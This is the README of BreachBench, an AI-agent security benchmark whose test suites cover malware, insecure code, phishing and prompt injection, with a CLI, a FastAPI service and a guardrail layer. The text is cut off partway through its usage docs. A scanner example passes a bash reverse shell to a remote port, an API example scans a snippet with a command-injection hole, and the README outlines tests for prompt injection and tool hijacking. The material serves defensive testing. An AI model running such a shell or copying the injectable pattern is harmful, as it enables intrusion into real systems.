BreachBench

BreachBench is a solo, open-source AI-agent security benchmark by Tanushree Umathe. It measures how well scanners, agents, and models handle malware and supply-chain lures, insecure code (OWASP / CWE), phishing and BEC, prompt injection, and OWASP API Top 10 flaws. A 3-layer Guardrail Shield (L1 input pre-screen, L2 spotlighting of untrusted input, L3 output enforcement) can wrap agent evaluation against Ollama or OpenAI-compatible models. The project ships a CLI, a FastAPI service, evaluation corpora, an OWASP lab API, and a scenario walker.
Table of contents
- Quick Start
- Architecture
- Guardrail Shield
- CLI usage
- FastAPI service
- Running against Ollama and OpenAI-compatible models
- Test categories
- How to read results
- Project structure
- OWASP lab API
- Multi-machine runner
- Troubleshooting and FAQ
- Contributing
- License
See also CONTRIBUTING.md for development setup and pull-request process.
Quick Start
1. Prerequisites
- Python 3.9 or newer (
requires-python = ">=3.9"; CI runs 3.10, 3.11, and 3.12)
git and pip
- On Debian/Ubuntu,
python3 -m venv needs the python3-venv package (sudo apt install python3-venv)
- Optional: a running Ollama daemon or an OpenAI-compatible API if you want live model evaluation
Confirm Python:
python3 --version
2. Clone the repository
git clone https://github.com/tu2090-ops/breachbench.git
cd breachbench
3. Create a virtual environment
python3 -m venv .venv
source .venv/bin/activate
On Windows: .venv\Scripts\activate
4. Install (editable, with test extras)
python -m pip install --upgrade pip
pip install -e ".[dev]"
This installs the breachbench console script and the runtime dependencies (fastapi, pydantic, uvicorn, httpx) plus pytest. You can also run python -m breachbench without the console script. BreachBench is published on PyPI:
pip install breachbench
5. Run the tests
python -m unittest discover -s tests
pytest -v
Both commands execute tests/test_breachbench.py. CI runs them in that order.
6. First benchmark run
breachbench benchmark
This runs the full deterministic suites (phishing, prompt-injection canary, OWASP API surface, code, malware, and the offline agent evaluator) and writes:
results/latest_report.json
results/latest_report.md
No network model is required. Default flags are --llm-backend heuristic and output paths under results/.
Architecture
flowchart TD
user["User"] --> cli["CLI"]
user --> api["FastAPI"]
cli --> core["Engine / scanners / agent eval"]
api --> core
core --> scanners["Code, malware, phishing scanners"]
core --> surface["OWASP API analyzer"]
core --> walker["Scenario walker"]
core --> agent["Agent eval"]
scanners --> results["Results JSON"]
surface --> results
walker --> results
agent --> shield["Guardrail Shield"]
shield --> l1["L1 Input pre-screen"]
l1 --> l2["L2 Spotlight untrusted input"]
l2 --> model["Ollama or OpenAI-compatible model"]
model --> l3["L3 Output enforcement"]
l3 --> scorer["Scoring"]
scorer --> results
Unshielded eval-agent skips L1–L3 and sends the task prompt straight to the provider. --provider deterministic and --provider echo never call a network model.
Guardrail Shield
Passing --shield to eval-agent, or running compare-shield, enables breachbench/shield.py. The shield does not look up task IDs or grading keywords.
| Layer |
Function |
What it does |
| L1 |
prescreen_input |
Scans the untrusted prompt and any embedded code, artifact, or email with scan_code_snippet, scan_malware_payload, score_phishing_email, plus regexes for malware-authoring requests and injection / tool-hijack markers. |
| L2 |
build_spotlighted_messages |
Wraps untrusted content in <untrusted_input_data> tags and injects pre-screen telemetry (CWEs, OWASP categories, malware indicators, injection warnings) into the system prompt. |
| L3 |
enforce_output_shield |
Redacts leaked canary tokens, blocks malware-authoring or unauthorized SSH deploy compliance, neutralizes forced clear / SAFE verdicts, and appends a BreachBench Shield findings section when the model omits detected issues. |
Per-task shield_actions in JSON reports can include input_prescreen, prompt_spotlighting, output_canary_redacted, output_malware_request_blocked, output_tool_hijack_blocked, output_injection_neutralized, and output_findings_appended.
Shielded test-case flow
sequenceDiagram
participant User
participant CLI
participant L1 as "L1 Input pre-screen"
participant L2 as "L2 Spotlighting"
participant Model as "Target model"
participant L3 as "L3 Output enforcement"
participant Scorer
User->>CLI: "eval-agent --shield"
CLI->>L1: "Untrusted prompt and artifacts"
L1-->>CLI: "Prescreen verdict and telemetry"
CLI->>L2: "Build spotlighted messages"
L2->>Model: "System prompt plus tagged untrusted input"
Model-->>L3: "Raw model response"
L3-->>CLI: "Enforced response and shield_actions"
CLI->>Scorer: "Grade against task criteria"
Scorer-->>User: "Pass or fail plus JSON report"
CLI usage
Entry points: breachbench and python -m breachbench. Subcommands are required (breachbench --help).
scan-code
Scan a file or directory for OWASP / CWE issues (CWE-89, CWE-78, CWE-918, CWE-639, CWE-798, CWE-502 / CWE-94, CWE-22, CWE-327). Supported extensions include .py, .js, .ts, .tsx, .jsx, .sh, .rb, .go, .java.
| Argument |
Description |
path |
File or directory to scan |
--json |
Print the full JSON report |
breachbench scan-code samples/code/vulnerable_service.py
breachbench scan-code samples/code/safe_service.py
breachbench scan-code samples/code/ --json
scan-malware
Scan a file, directory, or inline payload for reverse shells, obfuscated execution, credential exfiltration, supply-chain hooks, high-risk lure filenames, and Unicode stealth markers.
| Argument |
Description |
path_or_payload |
Path or inline string. If the path does not exist, the value is treated as an inline payload. |
--json |
Print the full JSON report |
breachbench scan-malware samples/malware/suspicious_package.json
breachbench scan-malware samples/malware/benign_package.json
breachbench scan-malware "bash -i >& /dev/tcp/198.51.100.44/4444 0>&1"
eval-agent
Evaluate an agent on 15 tasks in three suites (5 each): malware_refusal_and_detection, code_vulnerability_detection, prompt_injection_and_tool_hijack. Exit code is 0 only when the overall pass rate is 100%.
| Flag |
Default |
Description |
--provider |
deterministic |
openai, ollama, echo, or deterministic |
--model |
gpt-4.1-mini |
Model name. Deterministic reports breachbench-reference-defender-v1. Echo reports echo-weak-stub-v1 when the default model name is left unchanged. |
--base-url |
unset |
OpenAI-compatible base URL |
--api-mode |
chat |
chat (/chat/completions) or responses (/responses) |
--suite |
all |
One suite name, or all |
--shield |
off |
Enable the 3-layer Guardrail Shield |
--out |
unset |
Write JSON to this path |
--json |
off |
Print JSON to stdout |
breachbench eval-agent --provider deterministic
breachbench eval-agent --provider echo --model echo-weak-stub-v1 --shield
compare-shield
Runs the same provider/model once unshielded and once with --shield, then prints a side-by-side table. Exit code is 0 only when the shielded pass rate is 100%.
| Flag |
Default |
Description |
--provider |
ollama |
Same choices as eval-agent |
--model |
qwen2.5-coder:1.5b |
Model name |
--base-url |
unset |
OpenAI-compatible base URL |
--api-mode |
chat |
chat or responses |
--suite |
all |
Suite filter |
--out |
unset |
JSON report path |
--md |
unset |
Markdown report path |
--json |
off |
Print JSON to stdout |
breachbench compare-shield \
--provider echo \
--model echo-weak-stub-v1 \
--out /tmp/compare_echo.json \
--md /tmp/compare_echo.md
benchmark
Full deterministic multi-domain run (no live LLM unless you change --llm-backend).
| Flag |
Default |
Description |
--out |
results/latest_report.json |
JSON report |
--md |
results/latest_report.md |
Markdown report |
--llm-backend |
heuristic |
heuristic, ollama, or hf (phishing enrichment only) |
--llm-model |
qwen2.5-coder:7b |
Model id when the backend is not heuristic |
breachbench benchmark --out results/latest_report.json --md results/latest_report.md
deploy-machines
See Multi-machine runner.
FastAPI service
Start the evaluation service (version 1.3.2 from breachbench.__version__):
uvicorn app.main:app --host 127.0.0.1 --port 8001
Interactive docs are at http://127.0.0.1:8001/docs.
| Method |
Path |
Body / query |
Purpose |
GET |
/v1/health |
— |
Status, version, and capability list |
POST |
/v1/code/scan |
{"code": "...", "filename": "<snippet>"} |
Scan a code snippet |
POST |
/v1/malware/scan |
{"content": "...", "filename": "<payload>"} |
Scan a payload |
POST |
/v1/agent/eval |
provider, model, optional base_url, api_mode, suite, shield |
Run the agent eval suite |
POST |
/v1/phishing/score |
subject, body, optional sender fields, llm_backend, llm_model |
Score an email |
POST |
/v1/surface/analyze |
optional openapi_spec or endpoints |
OWASP API Top 10 analyzer; empty body uses data/api_eval.json |
GET |
/v1/scenarios |
— |
List the five multi-step scenarios |
POST |
/v1/scenario/walk |
{"scenario_id": "SCEN-001"} or {} |
Walk one scenario or list all |
Example:
curl -s http://127.0.0.1:8001/v1/health
curl -s -X POST http://127.0.0.1:8001/v1/code/scan \
-H "Content-Type: application/json" \
-d '{"code":"import os\nos.system(\"ping \" + host)","filename":"ping.py"}'
curl -s -X POST http://127.0.0.1:8001/v1/agent/eval \
-H "Content-Type: application/json" \
-d '{"provider":"deterministic","shield":true}'
POST /v1/agent/eval returns HTTP 400 if --provider openai is selected without OPENAI_API_KEY. POST /v1/scenario/walk returns HTTP 404 for an unknown scenario_id.
Running against Ollama and OpenAI-compatible models
Environment variables
| Variable |
Used by |
Default |
OLLAMA_OPENAI_URL |
eval-agent / compare-shield with --provider ollama |
http://127.0.0.1:11434/v1 |
OLLAMA_HOST |
benchmark --llm-backend ollama and phishing llm_backend=ollama |
http://127.0.0.1:11434 (native /api/chat) |
OPENAI_API_KEY |
--provider openai |
required; missing key raises ValueError |
OPENAI_BASE_URL |
--provider openai when --base-url is omitted |
https://api.openai.com/v1 |
HF_TOKEN |
benchmark --llm-backend hf |
optional; phishing enrichment only |
--base-url on eval-agent and compare-shield overrides the env defaults. --api-mode chat posts to {base}/chat/completions; --api-mode responses posts to {base}/responses.
Without the Guardrail Shield
# Local Ollama, OpenAI-compatible /v1
breachbench eval-agent --provider ollama --model qwen2.5-coder:1.5b
# Custom Ollama / OpenAI-compatible host
export OLLAMA_OPENAI_URL="http://127.0.0.1:11434/v1"
breachbench eval-agent --provider ollama --model qwen2.5-coder:1.5b --base-url "$OLLAMA_OPENAI_URL"
# OpenAI or any OpenAI-compatible proxy
export OPENAI_API_KEY="sk-..."
breachbench eval-agent --provider openai --model gpt-4.1-mini
With the Guardrail Shield